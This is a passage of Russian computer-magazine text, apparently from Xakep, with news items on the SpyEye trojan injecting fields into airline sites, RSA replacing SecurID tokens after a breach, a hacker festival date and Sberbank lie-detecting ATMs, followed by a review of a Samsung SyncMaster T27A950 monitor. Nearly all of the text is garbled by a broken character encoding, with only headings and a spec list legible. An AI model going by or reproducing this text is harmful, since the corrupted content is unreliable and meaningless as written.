ÍÎÏÇÆÒÓÃÏ ÅÑÔÄÉÖ ÐÑÉÃÁÓÎÜÖ ÅÁÎÎÜÖ. ®Ï ÎÆÅÁÃÎÏ ÏÂÎÁÑÔÇÉÌÏÒÝ, ØÓÏ 
ÃÏÑÔßÓ ÓÆÐÆÑÝ ÅÁÇÆ ÂÏÎÔÒÎÜÆ ÍÉÌÉ, ÎÁØÉÒÌàÆÍÜÆ ÍÎÏÄÉÍÉ ÁÃÉÁ-
ËÏÍÐÁÎÉàÍÉ. ²ÓÑÁÎÎÏÒÓÝ ÐÑÉÍÆÓÉÌÉ security-ÒÐÆ×ÉÁÌÉÒÓÜ ÉÈ ÕÉÑÍÜ 
Trusteer: ÏÎÉ ÏÂÎÁÑÔÇÉÌÉ, ØÓÏ ÐÏÐÔÌàÑÎÜÊ ÃÑÆÅÏÎÏÒ SpyEye ÃÆÒÝÍÁ 
ÔÒÐÆÙÎÏ ÐÜÓÁÆÓÒà «ÔÃÆÒÓÉ» ÅÁÎÎÜÆ Ò ÒÁÊÓÏÃ Air Berlin É AirPlus. 
£ ÒÌÔØÁÆ AirPlus ÃÒÆ ÂÜÌÏ ÅÏÃÏÌÝÎÏ ÂÁÎÁÌÝÎÏ: ÈÁÄÑÔÈËÁ ÒÓÑÁÎÉ×Ü 
ÐÆÑÆÖÃÁÓÜÃÁÌÁÒÝ, ÎÁ ÒÁÊÓ ÅÏÂÁÃÌàÌÁÒÝ ÒÓÑÏËÁ «ÎÏÍÆÑ ÂÁÎËÏÃÒËÏÊ 
ËÁÑÓÜ», É ÐÏÌÔØÆÎÎÜÆ ÓÁËÉÍ ÏÂÑÁÈÏÍ ÅÁÎÎÜÆ ÐÆÑÆÐÑÁÃÌàÌÉÒÝ 
ÈÌÏÔÍÜÙÌÆÎÎÉËÁÍ. ¡ ÃÏÓ Ò Air Berlin ÃÜÙÌÏ ÉÎÓÆÑÆÒÎÆÆ: ÍÁÌÃÁÑÝ 
ÏÑÉÆÎÓÉÑÏÃÁÌÁÒÝ ÎÁ ÒÂÏÑ ÉÎÕÏÑÍÁ×ÉÉ Ò ÁËËÁÔÎÓÏÃ, ÎÏ ×ÆÌÝß ÁÓÁËÉ 
ÏËÁÈÁÌÁÒÝ ÅÏÂÜØÁ ÍÉÌÝ ÎÁÌÆÓÁ ÐÏÒÓÏàÎÎÜÖ ËÌÉÆÎÓÏÃ. «ÁËÉÍ ÏÂÑÁÈÏÍ 
ÖÁËÆÑÜ ÒÏÂÉÑÁÌÉÒÝ (ÉÌÉ ÒÏÂÉÑÁßÓÒà) ÐÏÌÔØÉÓÝ Ò ÞÓÏÄÏ ÅÆÎÝÄÉ, ÐÏËÁ ÎÆ 
ÐÏÎÉÍÁßÓ ÅÁÇÆ Ã Trusteer.   

RSA Security ÈÁÍÆÎÉÓ ËÁÇÅÜÊ ÉÈ 40 ÍÉÌÌÉÏÎÏÃ ÓÏËÆÎÏÃ SecurID, 
ÉÒÐÏÌÝÈÔÆÍÜÖ ÒÆÊØÁÒ, ÉÈ-ÈÁ ÁÓÁËÉ ÁÓÁËÉ ÖÁËÆÑÏÃ, ÐÑÏÉÈÏÙÆÅÙÆÊ Ã 
ÍÁÑÓÆ. °ÏÅÑÁÈÅÆÌÆÎÉÆ EMC ÎÁËÏÎÆ× ÃÜÐÔÒÓÉÌÏ ÐÉÒÝÍÏ ÅÌà ËÌÉÆÎÓÏÃ, 
Ã ËÏÓÏÑÏÍ ÏÂÛàÒÎàÆÓ, ØÓÏ SecurID ÎÆ ÔÅÁÌÏÒÝ ÈÁÚÉÓÉÓÝ ËÏÑÐÏÑÁ×Éß 
Lockheed Martin (ÐÑÏÉÈÃÏÅÉÓÆÌÝ ÒÁÍÏÌÆÓÏÃ-ÉÒÓÑÆÂÉÓÆÌÆÊ F-22 É 
F-35), ËÏÓÏÑÔß ÐÜÓÁÌÉÒÝ ÃÈÌÏÍÁÓÝ. SecurID — ÓÏËÆÎ, ËÏÓÏÑÜÊ ÉÒÐÏÌÝ-
ÈÔÆÓÒà ÐÑÉ ÅÃÔÖÕÁËÓÏÑÎÏÊ ÁÔÓÆÎÓÉÕÉËÁ×ÉÉ. «ÁÇÅÜÊ ÐÏÌÝÈÏÃÁÓÆÌÝ-
ÒËÉÊ ÁËËÁÔÎÓ ÐÑÉÃàÈÁÎ Ë ÓÏËÆÎÔ, ËÁÇÅÜÊ ÓÏËÆÎ ÄÆÎÆÑÉÑÔÆÓ ÐÒÆÃÅÏ-
ÒÌÔØÁÊÎÏÆ ØÉÒÌÏ, ËÏÓÏÑÏÆ ÍÆÎàÆÓÒà ÐÆÑÉÏÅÉØÆÒËÉ, ÏÂÜØÎÏ ËÁÇÅÜÆ 
30 ÉÌÉ 60 ÒÆËÔÎÅ. ¥Ìà ÃÖÏÅÁ Ã ËÏÍÐÝßÓÆÑÎÔß ÒÉÒÓÆÍÔ ÐÏÌÝÈÏÃÁÓÆÌß 
ÎÆÏÂÖÏÅÉÍÏ ÃÃÆÒÓÉ ÎÆ ÓÏÌÝËÏ ÉÍà É ÐÁÑÏÌÝ, ÎÏ É ØÉÒÌÏ, ËÏÓÏÑÏÆ ÐÏ-
ËÁÈÜÃÁÆÓ ÓÏËÆÎ Ã ÓÆËÔÚÉÊ ÍÏÍÆÎÓ. ²ÆÑÃÆÑ ÁÔÓÆÎÓÉÕÉËÁ×ÉÉ ÈÎÁÆÓ, 
ËÁËÏÊ ÓÏËÆÎ ËÁËÏÆ ØÉÒÌÏ ÅÏÌÇÆÎ ÐÏËÁÈÜÃÁÓÝ Ã ÞÓÔ ÒÆËÔÎÅÔ, É ÓÁËÉÍ 
ÏÂÑÁÈÏÍ ÍÏÇÆÓ ÏÐÑÆÅÆÌÉÓÝ ÐÏÅÌÉÎÎÏÒÓÝ ÃÌÁÅÆÌÝ×Á ÉÍÆÎÉ É ÐÁÑÏÌà. 
®ÜÎÆÙÎÆÆ ÐÑÉÈÎÁÎÉÆ RSA ÐÑÏÓÉÃÏÑÆØÉÓ ÎÁØÁÌÝÎÜÍ ÈÁàÃÌÆÎÉàÍ Ï 
ÓÏÍ, ØÓÏ ÃÈÌÏÍ ÎÆ ÐÏÈÃÏÌÉÓ ÃÜÐÏÌÎÉÓÝ «ÐÑàÍÜÆ ÁÓÁËÉ» ÎÁ SecurID, 

ÐÏÌÎÁà ÈÁÍÆÎÁ ÃÒÆÖ ÓÏËÆÎÏÃ ÕÁËÓÉØÆÒËÉ ÏÈÎÁØÁÆÓ ÐÑÉÈÎÁÎÉÆ ÓÏÄÏ, 
ØÓÏ Ã ÎÁÒÓÏàÚÉÊ ÍÏÍÆÎÓ ÏÎÉ ÎÆ ÏÂÆÒÐÆØÉÃÁßÓ ÓÏÊ ÂÆÈÏÐÁÒÎÏÒÓÉ, 
ËÏÓÏÑÔß ËÌÉÆÎÓÜ ÐÑÆÅÐÏÌÁÄÁßÓ. ©ÒÓÏØÎÉËÉ ÃÎÔÓÑÉ RSA ÄÏÃÏÑàÓ Ï 
ÓÏÍ, ØÓÏ Ã ÑÆÈÔÌÝÓÁÓÆ ÍÁÑÓÏÃÒËÏÄÏ ÃÈÌÏÍÁ ËÏÍÐÁÎÉà ÐÏÓÆÑàÌÁ ÂÁÈÔ 
ÎÁØÁÌÝÎÜÖ ÈÎÁØÆÎÉÊ, Á ÁÌÄÏÑÉÓÍ É ÓÁË ÂÜÌ ÉÈÃÆÒÓÆÎ ÑÁÎÆÆ. ±ÆÈÔÌÝÓÁÓ 
— ÓÏËÆÎÜ SecurID ÎÆ ÒÐÏÒÏÂÎÜ ÈÁÚÉÓÉÓÝ ÏÓ ÖÁËÆÑÏÃ, ÐÏ ËÑÁÊÎÆÊ ÍÆÑÆ 
ÏÓ ÓÆÖ, ËÏÓÏÑÜÆ ÏÒÔÚÆÒÓÃÉÌÉ ÃÈÌÏÍ RSA Ã ÍÁÑÓÆ. ¥Ìà ÎÉÖ SecurID ÎÆ 
ÂÏÌÝÙÆ, ØÆÍ ÎÆÒÌÏÇÎÏÆ ÅÏÐÏÌÎÆÎÉÆ ÐÑÏÒÓÏÊ ÐÁÑÏÌÝÎÏÊ ÁÔÓÆÎÓÉÕÉ-
ËÁ×ÉÉ, ÔàÈÃÉÍÏÊ ËÏ ÃÒÆÍ ËÆÊÌÏÄÄÆÑÁÍ É ÐÏÃÓÏÑÎÏÍÔ ÉÒÐÏÌÝÈÏÃÁÎÉß 
ÐÁÑÏÌÆÊ.

Ñòàëè èçâåñòíû äàòû ïðîâåäåíèÿ «Chaos Constructions 2011». 11-é ïî 
ñ÷åòó ôåñò òðàäèöèîííî ñîñòîèòñÿ â ïîñëåäíèå âûõîäíûå ëåòà — 27 è 28 

àâãóñòà, â Ñàíêò-Ïåòåðáóðãå.

°ÆÑÃÏÆ ÁÐÑÆÌà ÔÇÆ ÅÁÃÎÏ ÍÉÎÏÃÁÌÏ, ÐÏÞÓÏÍÔ, 
ÐÑÉÈÎÁÆÍÒà — ÒÖÏÅÔ ÃÏÒÐÑÉÎàÓÝ ÞÓÔ ÎÏÃÏÒÓÝ 
ÒÆÑÝÆÈÎÏ Ô ÎÁÒ ÎÆ ÐÏÌÔØÉÌÏÒÝ. ²ÓÁÌÏ ÉÈÃÆÒÓÎÏ, 
ØÓÏ ÑÏÒÒÉÊÒËÉÊ ²ÂÆÑÂÁÎË ÈÁÎàÓ ÑÁÈÑÁÂÏÓËÏÊ 
É ÓÆÒÓÉÑÏÃÁÎÉÆÍ ÎÏÃÏÄÏ ÃÉÅÁ ÂÁÎËÏÍÁÓÏÃ ÒÏ 
ÃÒÓÑÏÆÎÎÜÍ ÐÏÌÉÄÑÁÕÏÍ. £ ÎÁÑÏÅÆ ÅÁÎÎÜÊ ÐÑÉ-
ÂÏÑ ÉÍÆÎÔÆÓÒà ÅÆÓÆËÓÏÑÏÍ ÌÇÉ. ̄ ÇÉÅÁÆÓÒà, ØÓÏ 
ÓÁËÉÆ ÍÁÙÉÎÜ ÂÔÅÔÓ ÏÑÉÆÎÓÉÑÏÃÁÎÜ ÎÁ ÃÜÅÁØÔ 
ÐÏÓÑÆÂÉÓÆÌÝÒËÉÖ ËÑÆÅÉÓÏÃ ÄÑÁÇÅÁÎÁÍ É ÒÍÏÄÔÓ 
ÐÑÏÃÆÑàÓÝ ÌßÅÆÊ, ÑÁÎÆÆ ÎÆ ÏÂÑÁÚÁÃÙÉÖÒà Ã 
²ÂÆÑÂÁÎË, ÐÏ ÃÒÆÊ ÒÓÑÏÄÏÒÓÉ. ¢ÁÎËÏÍÁÓ ÏÒÎÁÒÓàÓ 

ÔÒÓÑÏÊÒÓÃÏÍ ÅÌà ÒËÁÎÉÑÏÃÁÎÉà ÐÁÒÐÏÑÓÏÃ, ÒËÁ-
ÎÆÑÏÍ ÏÓÐÆØÁÓËÏÃ ÐÁÌÝ×ÆÃ É ÃÒÆÍ ÎÆÏÂÖÏÅÉÍÜÍ 
ÅÌà ÒÎàÓÉà ÂÉÏÍÆÓÑÉØÆÒËÏÊ ËÁÑÓÉÎËÉ ÌÉ×Á. 
±ÏÌÝ ÅÆÓÆËÓÏÑÁ ÌÇÉ, Ã ÒÃÏß ÏØÆÑÆÅÝ, ÂÔÅÆÓ 
ÉÄÑÁÓÝ ÒÐÆ×ÉÁÌÝÎÁà ÓÆÖÎÏÌÏÄÉà ÄÏÌÏÒÏÃÏÄÏ 
ÁÎÁÌÉÈÁ, ÑÁÈÑÁÂÏÓÁÎÎÁà ·ÆÎÓÑÏÍ ±ÆØÆÃÜÖ 
³ÆÖÎÏÌÏÄÉÊ (·±³). ̧ ÆÌÏÃÆËÔ, ÇÆÌÁßÚÆÍÔ ÐÏ-
ÌÔØÉÓÝ ËÑÆÅÉÓ, ÂÔÅÔÓ ÈÁÅÁÎÜ ÃÏÐÑÏÒÜ ÃÑÏÅÆ 
«ÑÁÂÏÓÁÆÓÆ ÌÉ ÃÜ?» É «ÆÒÓÝ ÌÉ Ô ÃÁÒ ÅÑÔÄÉÆ 
ÎÆÐÏÄÁÙÆÎÎÜÆ ÈÁÅÏÌÇÆÎÎÏÒÓÉ ÎÁ ÅÁÎÎÜÊ 
ÍÏÍÆÎÓ?», Á ÐÑÁÃÅÉÃÏÒÓÝ ÏÓÃÆÓÏÃ ÓÚÁÓÆÌÝÎÏ 

ÐÑÏÁÎÁÌÉÈÉÑÔÆÓ ÔÐÏÍàÎÔÓÁà ÓÆÖÎÏÌÏÄÉà. ³ÁËÉÍ 
ÏÂÑÁÈÏÍ, ÑÆÙÆÎÉÆ ÐÏ ËÑÆÅÉÓÔ ÂÔÅÆÓ ÐÑÉÎÉ-
ÍÁÓÝÒà ÎÁ ÏÒÎÏÃÁÎÉÉ ÅÁÎÎÜÖ Ï ÎÆÑÃÏÈÎÏÒÓÉ É 
ÞÍÏ×ÉÏÎÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ ÈÁàÃÉÓÆÌà. ¡ ÃÆÅÝ 
ÅÁÇÆ ÄÏÑÁÈÅÏ ÂÏÌÆÆ ÒÆÑÝÆÈÎÜÆ Ò ÓÆÖÎÉØÆÒËÏÊ 
ÓÏØËÉ ÈÑÆÎÉà ÐÏÌÉÄÑÁÕÜ ÎÆÒÏÃÆÑÙÆÎÎÜ, ÅÁ 
É ÒÐÆ×ÉÁÌÉÒÓÜ ÐÏ ÕÏÎÆÓÉËÆ ÒØÉÓÁßÓ ÐÏÅÏÂ-
ÎÜÆ ÍÆÓÏÅÜ ÙÁÑÌÁÓÁÎÒÓÃÏÍ... ³ÆÍ ÎÆ ÍÆÎÆÆ, 
²ÂÆÑÂÁÎË ÔÇÆ ÐÌÁÎÉÑÔÆÓ ÔÒÓÁÎÏÃÉÓÝ ÎÏÃÜÆ 
ÂÁÎËÏÍÁÓÜ Ã ÓÏÑÄÏÃÜÖ ×ÆÎÓÑÁÖ É ÏÓÅÆÌÆÎÉàÖ 
ÂÁÎËÁ ÐÏ ÃÒÆÊ ÒÓÑÁÎÆ.

ÄÅÒÅÊÒÎÐ ËÆÈ Â ÁÀÍÊÎÌÀÒÅ

¦ÚÆ ÂÏÌÝÙÆ ÎÏÃÏÒÓÆÊ ÎÁ www.xakep.ru
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Òåñòèðîâàíèå ìîíèòîðà Samsung SyncMaster T27A950
§«-ÍÏÎÉÓÏÑÜ ÅÁÃÎÏ ÐÆÑÆÒÓÁÌÉ ÂÜÓÝ ØÆÍ-ÓÏ ÎÆÏÂÜØÎÜÍ, 
Á ÉÖ ÏÄÑÏÍÎÜÖ CRT-ÐÑÆÅÙÆÒÓÃÆÎÎÉËÏÃ ÑÆÅËÏ ÃÒÓÑÆÓÉÙÝ Ô 
ËÏÄÏ-ÎÉÂÔÅÝ Ã ËÃÁÑÓÉÑÆ (ÆÒÌÉ ÓÏÌÝËÏ Ô ÓÑÔÙÎÜÖ ÅÉÈÁÊÎÆÑÏÃ). 
®ÆÔÅÉÃÉÓÆÌÝÎÏ, ÃÆÅÝ ÐÏËÔÐËÁ §« ÂÏÌÆÆ ÎÆ ÂÝÆÓ ÐÏ ËÁÑÍÁÎÔ, ËÁË 
ÒÆÑÐ ÈÎÁÆÓÆ ÐÏ ØÆÍÔ, É ÃÜÂÏÑ ÐÑÁËÓÉØÆÒËÉ ÎÆÏÄÑÁÎÉØÆÎ — ÐÑÉ-
ÌÁÃËÉ ÐÑàÍÏ-ÓÁËÉ ÌÏÍàÓÒà ÏÓ ÅÝàÃÏÌÝÒËÉ ÒÖÏÇÉÖ ÍÏÅÆÌÆÊ. ² 
ÏÅÎÏÊ ÒÓÏÑÏÎÜ, ÞÓÏ ÐÏÍÏÄÁÆÓ ÎÆ ÈÁÍÏÑÁØÉÃÁÓÝÒà ÐÑÉ ÐÏÅÂÏÑÆ 
ÏÅÎÏÊ ÓÁËÏÊ ÒÆÂÆ Ã ÐÏÌÝÈÏÃÁÎÉÆ, Ò ÅÑÔÄÏÊ — ÎÁÄÏÎàÆÓ ÓÏÒËÔ, 
ËÏÄÅÁ ÖÏØÆÓÒà, ØÓÏÂÜ ÎÏÃÜÊ ÍÏÎÉÓÏÑ ÏÓÌÉØÁÌÒà ÏÓ ÒÓÁÑÏÄÏ ÖÏÓÝ 
ØÆÍ-ÓÏ, ËÑÏÍÆ ÅÉÁÄÏÎÁÌÉ.
«ÁÈÁÌÏÒÝ ÂÜ, Á ØÓÏ ÓÔÓ ÐÑÉÅÔÍÁÆÙÝ? £ÏÓËÎÔÌ ËÁÂÆÌÝ ÏÓ ËÏÍ-
ÐÝßÓÆÑÁ — ÔÃÉÅÆÌ ËÁÑÓÉÎËÔ. ®ÁÅÆÌ ÏØËÉ — ÉÈÏÂÑÁÇÆÎÉÆ ÒÓÁÌÏ 
ÏÂÛÆÍÎÜÍ. £ÏÓ, ÍÏÇÎÏ ÒËÁÈÁÓÝ, É ÐÏÂÁÌÏÃÁÌÒà ÎÏÃÏÊ ÉÄÑÔÙËÏÊ, 
ÏÒÓÁÆÓÒà ÓÏÌÝËÏ ÇÅÁÓÝ ÐÏËÔÐËÉ ÒÌÆÅÔßÚÆÊ. ®Ï ÐÑÏ×ÆÒÒ ÈÎÁËÏÍ-
ÒÓÃÁ Ò ÓÏÌÝËÏ ØÓÏ ÑÁÒÐÁËÏÃÁÎÎÜÍ ÍÏÎÉÓÏÑÏÍ ÍÏÇÆÓ ÑÁÅÏÃÁÓÝ 
É ÈÁÎÉÍÁÓÝ ÄÏÑÁÈÅÏ ÂÏÌÝÙÆ ÃÑÆÍÆÎÉ, ÆÒÌÉ ÞÓÏÓ ÍÏÎÉÓÏÑ — 
Samsung SyncMaster T27A950. £ÐÑÏØÆÍ, ÏÂÏ ÃÒÆÍ ÐÏ ÐÏÑàÅËÔ.

Стильный гигант
©È ÒÏÌÉÅÎÏÊ ÐÑàÍÏÔÄÏÌÝÎÏÊ ÐÏÅÒÓÁÃËÉ ÐÌÁÃÎÏ «ÃÜÑÁÒÓÁÆÓ» 
ÓÏÎËÉÊ ËÏÑÐÔÒ ÞËÑÁÎÁ. ³ÏÎËÉÊ, ÎÏ ÏØÆÎÝ ÂÏÌÝÙÏÊ — ÅÉÁÄÏ-
ÎÁÌÝ ÍÏÎÉÓÏÑÁ ÒÏÒÓÁÃÌàÆÓ 27 ÅßÊÍÏÃ. ³ÑÔÅÎÏ ÎÆ ÈÁÍÆÓÉÓÝ, ØÓÏ 
Samsung SyncMaster T27A950 ÒÉÌÝÎÏ ÏÓÌÉØÁÆÓÒà ÃÎÆÙÎÉÍ 

ÃÉÅÏÍ ÏÓ ÍÎÏÄÉÖ ÒÃÏÉÖ ÒÏÂÑÁÓÝÆÃ. ÏÎÉÓÏÑ ÐÑÏÉÈÃÏÅÉÓ ÃÐÆ-
ØÁÓÌÆÎÉÆ ÔÒÓÑÏÊÒÓÃÁ, ÐÏÐÁÃÙÆÄÏ Ë ÎÁÍ ÐÑàÍÉËÏÍ ÉÈ ÂÔÅÔÚÆÄÏ. 
¥ÉÈÁÊÎ ÅÏÃÏÌÝÎÏ ÒÓÑÏÄÉÊ, ÎÆÓ ÌÉÙÎÉÖ, ÏÓÃÌÆËÁßÚÉÖ ÅÆÓÁÌÆÊ. 
°ÏÅÒÓÁÃËÁ ÔÒÓÑÏÊÒÓÃÁ ÓÏÌÝËÏ Ò ÐÆÑÃÏÄÏ ÃÈÄÌàÅÁ ËÁÇÆÓÒà ÐÑÏÒÓÏ 
ÐÏÅÒÓÁÃËÏÊ. £Ï-ÐÆÑÃÜÖ, Ò ÓÜÌÝÎÏÊ ÒÓÏÑÏÎÜ ÄÎÆÈÅÉÓÒà ×ÆÌÁà ÑÏÒ-
ÒÜÐÝ ÃÒÆÃÏÈÍÏÇÎÜÖ ÑÁÈÛÆÍÏÃ, ÐÏÅÑÏÂÎÆÆ Ï ËÏÓÏÑÜÖ ÍÜ ÑÁÒÒËÁ-
ÇÆÍ ØÔÓÝ ÐÏÈÇÆ. £Ï-ÃÓÏÑÜÖ, ÓÁÍ ÐÑàØÔÓÒà «ÍÏÈÄÉ» ÍÏÎÉÓÏÑÁ. °ÑÉ 
ÃËÌßØÆÎÉÉ ÅÁÇÆ ÍÏÇÎÏ ÔÒÌÜÙÁÓÝ, ËÁË «ÐÑÏÒÜÐÁÆÓÒà» ÃÆÎÓÉÌà-
ÓÏÑ Ã ÐÏÅÒÓÁÃËÆ. ¢ÌÁÄÏ, ÐÏÓÏÍ ÒÉÒÓÆÍÁ ÏÖÌÁÇÅÆÎÉà ÈÁÓÉÖÁÆÓ.

Из ряда вон
°ÑÉ ÃËÌßØÆÎÉÉ ÒÑÁÈÔ ÂÑÏÒÉÌÏÒÝ Ã ÄÌÁÈÁ ÒÏÍÎÉÓÆÌÝÎÏÆ ÑÆÙÆÎÉÆ 
ÐÑÏÉÈÃÏÅÉÓÆÌÆÊ — ÄÌàÎ×ÆÃÁà ÐÏÃÆÑÖÎÏÒÓÝ ÞËÑÁÎÁ. ¾ÓÏ ÎÆ ÓÁË 
ÒÓÑÁÙÎÏ ÎÁ ÎÏÔÓÂÔËÆ Ò ÅÉÁÄÏÎÁÌÝß ÅÉÒÐÌÆà 14 ÅßÊÍÏÃ, ÎÏ ËÏÄÅÁ 
ÑÆØÝ ÉÅÆÓ Ï 27 ÅßÊÍÁÖ, ÓÏ Ã ÉÓÏÄÆ ÍÜ ÐÏÌÔØÁÆÍ Ã ÂÔËÃÁÌÝÎÏÍ 
ÒÍÜÒÌÆ ÂÏÌÝÙÏÆ ÈÆÑËÁÌÏ Ò ÈÁÃÉÅÎÏÊ ÏÓÑÁÇÁßÚÆÊ ÒÐÏÒÏÂÎÏÒÓÝß. 
¶ÏÓà ÅÆÃÏØËÁÍ ËÑÁÒÉÓÝÒà ÂÔÅÆÓ ÔÅÏÂÎÏ. ¯ÅÎÁËÏ ÏÓÑÁÇÆÎÉÆ É 
ÂÌÉËÉ ÏÓ ÅÉÒÐÌÆà ËÏÍÐÆÎÒÉÑÔßÓÒà ÐÑÆËÑÁÒÎÏÊ ×ÃÆÓÏÐÆÑÆÅÁØÆÊ 
É ×ÃÆÓÏÃÜÍ ÏÖÃÁÓÏÍ. ²ÑÁÈÔ ÇÆ ÒÓÏÉÓ ÐÑÆÅÔÐÑÆÅÉÓÝ, ØÓÏ ÓÜ ÎÆ 
ÎÁÊÅÆÙÝ ÈÅÆÒÝ ÎÉ ÐÑÉÃÜØÎÏÄÏ DVI-D, ÎÉ ÆÚÆ ÂÏÌÆÆ ÈÎÁËÏÍÏÄÏ 
D-Sub. ¦ÒÓÝ ÓÏÌÝËÏ HDMI, ÐÑÉØÆÍ ÒÑÁÈÔ ÅÃÁ, ÐÏÞÓÏÍÔ ÓÜ ÒÍÏÇÆÙÝ 
ÐÏÅËÌßØÉÓÝ ÍÏÎÉÓÏÑ ÏÅÎÏÃÑÆÍÆÎÎÏ Ë ËÏÍÐÝßÓÆÑÔ É, ÎÁÐÑÉÍÆÑ, 
BD-ÐÌÆÆÑÔ. «ÏÄÅÁ ÏÎÉ ÏÂÁ ÎÆ ÒÍÏÄÔÓ ÑÁÈÃÆàÓÝ ÓÃÏß ÓÏÒËÔ, ÓÜ 

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
Диагональ дисплея: 27"
Максимальное разрешение: 1920x1080 ÓÏØÆË
Тип матрицы: TFT TN
Яркость: 300 ËÅ/Í2

Контрастность: 1000:1
Время отклика: 3 ÍÒ
Интерфейсы: ËÏÍÐÏÎÆÎÓÎÜÊ, RJ-45, 2x USB 2.0, 
2x HDMI, ÁÎÓÆÎÎÜÊ ÃÖÏÅ, ÒÌÏÓ ÅÌà CAM-ÍÏÅÔÌà, 
ÏÐÓÉØÆÒËÉÊ ÁÔÅÉÏÃÜÖÏÅ, headphone
Вес: 6,2 ËÄ

Ïðèâåò èç áóäóùåãî!

28000 ðóá.
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ÍÏÇÆÙÝ ÐÏÅËÌßØÉÓÝ Ë Samsung SyncMaster T27A950 ÁÎÓÆÎ-
ÎÜÊ ËÁÂÆÌÝ É ÐÏÒÍÏÓÑÆÓÝ ÍÁÓØ ÌßÂÉÍÏÊ ËÏÍÁÎÅÜ, ÎÏÃÏÒÓÉ ÉÌÉ 
ÍÔÈÜËÁÌÝÎÜÊ ËÁÎÁÌ. °ÑÏÃÆÑàà ÞÌÆËÓÑÏÎÎÔß ÐÏØÓÔ, ÓÜ ÎÆ ÐÑÏÐÔ-
ÒÓÉÙÝ ÎÁØÁÌÏ ÃÁÇÎÏÊ ÐÆÑÆÅÁØÉ, ÆÒÌÉ ÃÏÒÐÏÌÝÈÔÆÙÝÒà ÕÔÎË×ÉÆÊ 
«ËÁÑÓÉÎËÁ-Ã-ËÁÑÓÉÎËÆ».
®Á ÒÌÔØÁÊ, ÆÒÌÉ ÒÓÁÎÅÁÑÓÎÜÊ ÎÁÂÏÑ ÏÓÆØÆÒÓÃÆÎÎÜÖ ËÁÎÁÌÏÃ ÓÆÂà 
ÎÆ ÐÑÆÌÝÚÁÆÓ, ÒÁÍÜÍ ÌÔØÙÉÍ ÑÆÙÆÎÉÆÍ ÂÔÅÆÓ ÐÏÅËÌßØÆÎÉÆ 
×ÉÕÑÏÃÏÄÏ ³£ Ò ÐÏÍÏÚÝß ÉÍÆßÚÆÄÏÒà Ô Samsung SyncMaster 
T27A950 ²¡-ÍÏÅÔÌà.

Мы все еще говорим 
о мониторе?
£ÒÆ ÞÓÏ ÏØÆÎÝ ÖÏÑÏÙÏ, ÅÁ ÓÏÌÝËÏ ÞÓÏ ÒÏÃÒÆÍ ÆÚÆ ÎÆ ÃÒÆ. ³ÑÔÅÎÏ 
ÎÆ ÈÁÍÆÓÉÓÝ ÎÁÌÉØÉÆ ÐÏÐÔÌàÑÎÏÄÏ Ã ÐÏÒÌÆÅÎÆÆ ÃÑÆÍà ÒÑÆÅÉ 
ÍÏÎÉÓÏÑÏÃ ÑÁÈÛÆÍÁ USB 2.0. ¥Ï ÓÆÖ ÐÏÑ, ÐÏËÁ ÓÜ ÎÆ ÐÏÅËÌßØÉÌ 
ÓÔÅÁ ÕÌÆÙËÔ ÉÌÉ ÃÎÆÙÎÉÊ ÇÆÒÓËÉÊ ÅÉÒË, ÓÜ ÍÏÄ ÂÜ ÐÏÅÔÍÁÓÝ, 
ØÓÏ ÞÓÏ ÐÑÏÒÓÏ ÒÓÁÑÜÊ ÅÏÂÑÜÊ ÖÁÂ. ¯ÅÎÁËÏ ÃÜÒÃÆÓÉÃÙÆÆ-
Òà ÍÆÎß ÑÁÈÃÆÆÓ ÓÃÏÉ ÎÁÉÃÎÜÆ ÐÑÆÅÐÏÌÏÇÆÎÉà É ÐÑÆÅÌÏÇÉÓ 
ÏÓËÑÜÓÝ ÎÏÒÉÓÆÌÝ É ÃÏÒÐÑÏÉÈÃÆÒÓÉ Ò ÎÆÄÏ ÁÔÅÉÏ-, ÕÏÓÏ- ÉÌÉ 
ÃÉÅÆÏËÏÎÓÆÎÓ. «ÁË ÃÉÅÉÙÝ, ÃÒÓÑÏÆÎÎÜÍ ³£-ÓßÎÆÑÏÍ ÎÆ ÏÂÏ-
ÙÌÏÒÝ, Samsung SyncMaster T27A950 ÓÁËÇÆ ÍÏÇÆÓ ÒÐÑÁÃÉÓÝÒà 
É Ò ÕÔÎË×ÉàÍÉ ÍÆÅÉÁÐÌÆÆÑÁ. ®Ï ÆÒÌÉ ÞÓÏ ÆÚÆ É ÍÆÅÉÁÐÌÆÆÑ, 
ÓÏ ÐÏÅÅÆÑÇËÉ ÓÏÌÝËÏ USB 2.0 ÂÜÌÏ ÂÜ ÎÆÅÏÒÓÁÓÏØÎÏ. ²ÏÆÅÉÎÉÓÝ 
«ÍÏÎÉÓÏÑÏ-³£-ÐÌÆÆÑ» Ò ÓÃÏÆÊ ÌÏËÁÌÝÎÏÊ ÒÆÓÝß ÍÏÇÎÏ Ò ÐÏÍÏ-
ÚÝß ÏÓÅÆÌÝÎÏÄÏ Wi-Fi-ÁÅÁÐÓÆÑÁ, ËÏÓÏÑÜÊ (ÓÜ ÔÄÁÅÁÌ!) ÍÏÇÎÏ 
ÐÏÅËÌßØÉÓÝ Ã ÏÅÉÎ ÉÈ ÅÃÔÖ USB-ÐÏÑÓÏÃ. ®Æ ÈÁÂÜÓ É ÒÓÁÑÜÊ 
ÅÏÂÑÜÊ ÐÑÏÃÏÅÎÏÊ ÒÐÏÒÏÂ ÐÆÑÆÅÁØÉ ÅÁÎÎÜÖ, ÃÆÅÝ ÎÆÓ ÎÉØÆÄÏ 
ÐÑÏÚÆ — ÃÏÓËÎÔÌ ËÁÂÆÌÝ Ã RJ-45 É ÒÍÏÓÑÉ ËÉÎÏ. © ÞÓÏ ÅÆÊÒÓÃÉ-
ÓÆÌÝÎÏ ÐÑÏÒÓÏ, ÐÏÓÏÍÔ ØÓÏ Samsung SyncMaster T27A950 ÁÃÓÏ-
ÍÁÓÉØÆÒËÉ ÎÁÒÓÑÏÉÓ ÐÁÑÁÍÆÓÑÜ ÒÆÓÉ É ÒÍÏÇÆÓ ÃÏÒÐÑÏÉÈÃÏÅÉÓÝ 
ËÏÎÓÆÎÓ ÉÈ ÏÓËÑÜÓÜÖ ÒÆÓÆÃÜÖ ÐÁÐÏË.
®Æ ÏÂÏÙÌÉ ÞÓÏÓ ÍÏÎÉÓÏÑ ÒÓÏÑÏÎÏÊ É ÍÏÅÎÜÆ ÃÆàÎÝà Ã ÃÉÅÆ 
ÐÏÅÅÆÑÇËÉ 3D. °ÑÉØÆÍ ÎÆ ÏÂàÈÁÓÆÌÝÎÏ ÉÒËÁÓÝ ÓÑÆÖÍÆÑÎÜÊ ËÏÎ-
